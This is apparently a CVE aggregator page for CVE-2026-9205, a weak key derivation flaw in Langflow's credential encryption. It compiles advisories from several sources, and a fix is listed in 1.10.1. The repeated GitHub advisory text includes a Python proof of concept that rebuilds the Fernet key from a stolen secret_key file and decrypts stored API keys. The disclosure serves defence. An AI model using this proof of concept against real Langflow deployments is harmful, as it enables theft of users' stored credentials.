Every CVE Search/ Get API key

CVE-2026-9205

Langflow is affected by weaknesses in secret handling and sensitive configuration access

7.4 HighFix available

IBM Langflow OSS contains a weak cryptographic key derivation vulnerability in the ensure_fernet_key() function.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.30%Up 0.1 points since Aug 6, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.4

Langflow is affected by weaknesses in secret handling and sensitive configuration access

IBM Langflow OSS contains a weak cryptographic key derivation vulnerability in the ensure_fernet_key() function.

Record
CVE-2026-9205
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-338
Updated
2026-11-02
EUVDEUVD-2026-53547 7.4

IBM Langflow OSS contains a weak cryptographic key derivation vulnerability in the ensure_fernet_key() function.

Record
EUVD-2026-53547
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-9pw3-x84f-xcwf 7.4

Duplicate Advisory: Langflow: Weak Fernet Key via random.seed()

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-jxw3-mjmx-3pqm. This link is maintained to preserve external references.

Original Description

IBM Langflow OSS contains a weak cryptographic key derivation vulnerability in the ensure_fernet_key() function.

Record
GHSA-9pw3-x84f-xcwf
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-338
Updated
2026-11-02
GitHub AdvisoriesGHSA-jxw3-mjmx-3pqm 9.1

Langflow: Weak Fernet Key via random.seed()

Summary

Langflow uses Python's random module (Mersenne Twister, a non-cryptographic PRNG) seeded with the SECRET_KEY to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the SECRET_KEY is shorter than 32 characters — a common scenario for self-hosted deployments using simple/memorable secrets — the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the SECRET_KEY (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.

Even when SECRET_KEY is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key — meaning exfiltrating the secret_key file is sufficient to decrypt all credentials without any additional computation.

Severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1) CWE-338: Weak PRNG | CWE-321: Hard-coded Cryptographic Key | CWE-311: Missing Encryption of Sensitive Data

Details

Root cause: src/backend/base/langflow/services/auth/service.py, lines 651–663

MINIMUM_KEY_LENGTH = 32

def _ensure_valid_key(self, raw_key: str) -> bytes:
    if len(raw_key) < MINIMUM_KEY_LENGTH:
        random.seed(raw_key)                                   # Non-cryptographic PRNG seeded with the secret
        key = bytes(random.getrandbits(8) for _ in range(32)) # Fully deterministic output
        key = base64.urlsafe_b64encode(key)
    else:
        key = self._add_padding(raw_key).encode()              # Raw secret IS the Fernet key
    return key

def _get_fernet(self) -> Fernet:
    secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value()
    valid_key = self._ensure_valid_key(secret_key)
    return Fernet(valid_key)

The identical logic is duplicated in src/backend/base/langflow/services/auth/utils.py, lines 292–318 (called by DatabaseVariableService.create_variable and update_variable).

What is encrypted under this key: All variables stored with type = "Credential" — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:

# services/variable/service.py
encrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value

Why this is critical in combination with the MCP path traversal: The secret_key file is stored at /app/data/.cache/langflow/secret_key — readable via the MCP path traversal vulnerability. Once exfiltrated:

  • If len(secret_key) < 32: run random.seed(secret_key) → derive identical key → decrypt all credentials instantly
  • If len(secret_key) >= 32: pad the key directly → decrypt all credentials instantly

No brute force needed in either case once the file is read.

PoC

#!/usr/bin/env python3
# Requires: pip install cryptography

import random
import base64
from cryptography.fernet import Fernet

# --- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch
def decrypt_short_key(secret_key: str, ciphertext: str) -> str:
    random.seed(secret_key)
    key_bytes = bytes(random.getrandbits(8) for _ in range(32))
    fernet_key = base64.urlsafe_b64encode(key_bytes)
    return Fernet(fernet_key).decrypt(ciphertext.encode()).decode()

# --- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario
def decrypt_long_key(secret_key: str, ciphertext: str) -> str:
    padding_needed = 4 - len(secret_key) % 4
    padded = secret_key + "=" * padding_needed
    return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()

# Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated)
# and from SELECT value FROM variable WHERE type='Credential' in langflow.db…
Record
GHSA-jxw3-mjmx-3pqm
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-228
Updated
2026-11-02
NVD 7.4

IBM Langflow OSS contains a weak cryptographic key derivation vulnerability in the ensure_fernet_key() function.

Record
CVE-2026-9205
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-338
Updated
2026-11-02
OSV 9.8

IBM Langflow OSS contains a weak cryptographic key derivation vulnerability in the ensure_fernet_key() function.

Record
CVE-2026-9205
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-04
OSVGHSA-9pw3-x84f-xcwf 7.4

Duplicate Advisory: Langflow: Weak Fernet Key via random.seed()

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-jxw3-mjmx-3pqm. This link is maintained to preserve external references.

Original Description

IBM Langflow OSS contains a weak cryptographic key derivation vulnerability in the ensure_fernet_key() function.

Record
GHSA-9pw3-x84f-xcwf
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-338
Updated
2026-11-02
OSVGHSA-jxw3-mjmx-3pqm 9.1

Langflow: Weak Fernet Key via random.seed()

Summary

Langflow uses Python's random module (Mersenne Twister, a non-cryptographic PRNG) seeded with the SECRET_KEY to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the SECRET_KEY is shorter than 32 characters — a common scenario for self-hosted deployments using simple/memorable secrets — the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the SECRET_KEY (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.

Even when SECRET_KEY is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key — meaning exfiltrating the secret_key file is sufficient to decrypt all credentials without any additional computation.

Severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1) CWE-338: Weak PRNG | CWE-321: Hard-coded Cryptographic Key | CWE-311: Missing Encryption of Sensitive Data

Details

Root cause: src/backend/base/langflow/services/auth/service.py, lines 651–663

MINIMUM_KEY_LENGTH = 32

def _ensure_valid_key(self, raw_key: str) -> bytes:
    if len(raw_key) < MINIMUM_KEY_LENGTH:
        random.seed(raw_key)                                   # Non-cryptographic PRNG seeded with the secret
        key = bytes(random.getrandbits(8) for _ in range(32)) # Fully deterministic output
        key = base64.urlsafe_b64encode(key)
    else:
        key = self._add_padding(raw_key).encode()              # Raw secret IS the Fernet key
    return key

def _get_fernet(self) -> Fernet:
    secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value()
    valid_key = self._ensure_valid_key(secret_key)
    return Fernet(valid_key)

The identical logic is duplicated in src/backend/base/langflow/services/auth/utils.py, lines 292–318 (called by DatabaseVariableService.create_variable and update_variable).

What is encrypted under this key: All variables stored with type = "Credential" — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:

# services/variable/service.py
encrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value

Why this is critical in combination with the MCP path traversal: The secret_key file is stored at /app/data/.cache/langflow/secret_key — readable via the MCP path traversal vulnerability. Once exfiltrated:

  • If len(secret_key) < 32: run random.seed(secret_key) → derive identical key → decrypt all credentials instantly
  • If len(secret_key) >= 32: pad the key directly → decrypt all credentials instantly

No brute force needed in either case once the file is read.

PoC

#!/usr/bin/env python3
# Requires: pip install cryptography

import random
import base64
from cryptography.fernet import Fernet

# --- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch
def decrypt_short_key(secret_key: str, ciphertext: str) -> str:
    random.seed(secret_key)
    key_bytes = bytes(random.getrandbits(8) for _ in range(32))
    fernet_key = base64.urlsafe_b64encode(key_bytes)
    return Fernet(fernet_key).decrypt(ciphertext.encode()).decode()

# --- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario
def decrypt_long_key(secret_key: str, ciphertext: str) -> str:
    padding_needed = 4 - len(secret_key) % 4
    padded = secret_key + "=" * padding_needed
    return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()

# Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated)
# and from SELECT value FROM variable WHERE type='Credential' in langflow.db…
Record
GHSA-jxw3-mjmx-3pqm
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-228
Updated
2026-11-02
OSVPYSEC-2026-4235 9.1

Langflow: Weak Fernet Key via random.seed()

Summary

Langflow uses Python's random module (Mersenne Twister, a non-cryptographic PRNG) seeded with the SECRET_KEY to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the SECRET_KEY is shorter than 32 characters — a common scenario for self-hosted deployments using simple/memorable secrets — the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the SECRET_KEY (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.

Even when SECRET_KEY is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key — meaning exfiltrating the secret_key file is sufficient to decrypt all credentials without any additional computation.

Severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1) CWE-338: Weak PRNG | CWE-321: Hard-coded Cryptographic Key | CWE-311: Missing Encryption of Sensitive Data

Details

Root cause: src/backend/base/langflow/services/auth/service.py, lines 651–663

MINIMUM_KEY_LENGTH = 32

def _ensure_valid_key(self, raw_key: str) -> bytes:
    if len(raw_key) < MINIMUM_KEY_LENGTH:
        random.seed(raw_key)                                   # Non-cryptographic PRNG seeded with the secret
        key = bytes(random.getrandbits(8) for _ in range(32)) # Fully deterministic output
        key = base64.urlsafe_b64encode(key)
    else:
        key = self._add_padding(raw_key).encode()              # Raw secret IS the Fernet key
    return key

def _get_fernet(self) -> Fernet:
    secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value()
    valid_key = self._ensure_valid_key(secret_key)
    return Fernet(valid_key)

The identical logic is duplicated in src/backend/base/langflow/services/auth/utils.py, lines 292–318 (called by DatabaseVariableService.create_variable and update_variable).

What is encrypted under this key: All variables stored with type = "Credential" — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:

# services/variable/service.py
encrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value

Why this is critical in combination with the MCP path traversal: The secret_key file is stored at /app/data/.cache/langflow/secret_key — readable via the MCP path traversal vulnerability. Once exfiltrated:

  • If len(secret_key) < 32: run random.seed(secret_key) → derive identical key → decrypt all credentials instantly
  • If len(secret_key) >= 32: pad the key directly → decrypt all credentials instantly

No brute force needed in either case once the file is read.

PoC

#!/usr/bin/env python3
# Requires: pip install cryptography

import random
import base64
from cryptography.fernet import Fernet

# --- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch
def decrypt_short_key(secret_key: str, ciphertext: str) -> str:
    random.seed(secret_key)
    key_bytes = bytes(random.getrandbits(8) for _ in range(32))
    fernet_key = base64.urlsafe_b64encode(key_bytes)
    return Fernet(fernet_key).decrypt(ciphertext.encode()).decode()

# --- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario
def decrypt_long_key(secret_key: str, ciphertext: str) -> str:
    padding_needed = 4 - len(secret_key) % 4
    padded = secret_key + "=" * padding_needed
    return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()

# Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated)
# and from SELECT value FROM variable WHERE type='Credential' in langflow.db…
Record
PYSEC-2026-4235
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
langflow
PyPI
through 1.10.0
1.10.1
langflow
PyPI
before 1.10.1, plus listed versions
0.0.310.0.320.0.330.0.400.0.44
Show 45 moreShow less
0.0.450.0.460.0.520.0.530.0.540.0.550.0.560.0.570.0.580.0.610.0.620.0.630.0.640.0.650.0.660.0.670.0.680.0.690.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.780.0.790.0.800.0.810.0.830.0.840.0.850.0.860.0.870.0.880.0.890.1.00.1.20.1.30.1.40.1.50.1.60.1.70.2.00.2.1
1.10.1

History

History
RecordedChangedSources
factsOSV
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-9205 is a high vulnerability (CVSS 7.4) in Ibm Langflow Oss, published August 5, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.30%, the 23rd percentile. Fixed in langflow 1.10.1.

References

This page doesn't list everything

Left out here: 256 versions and the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open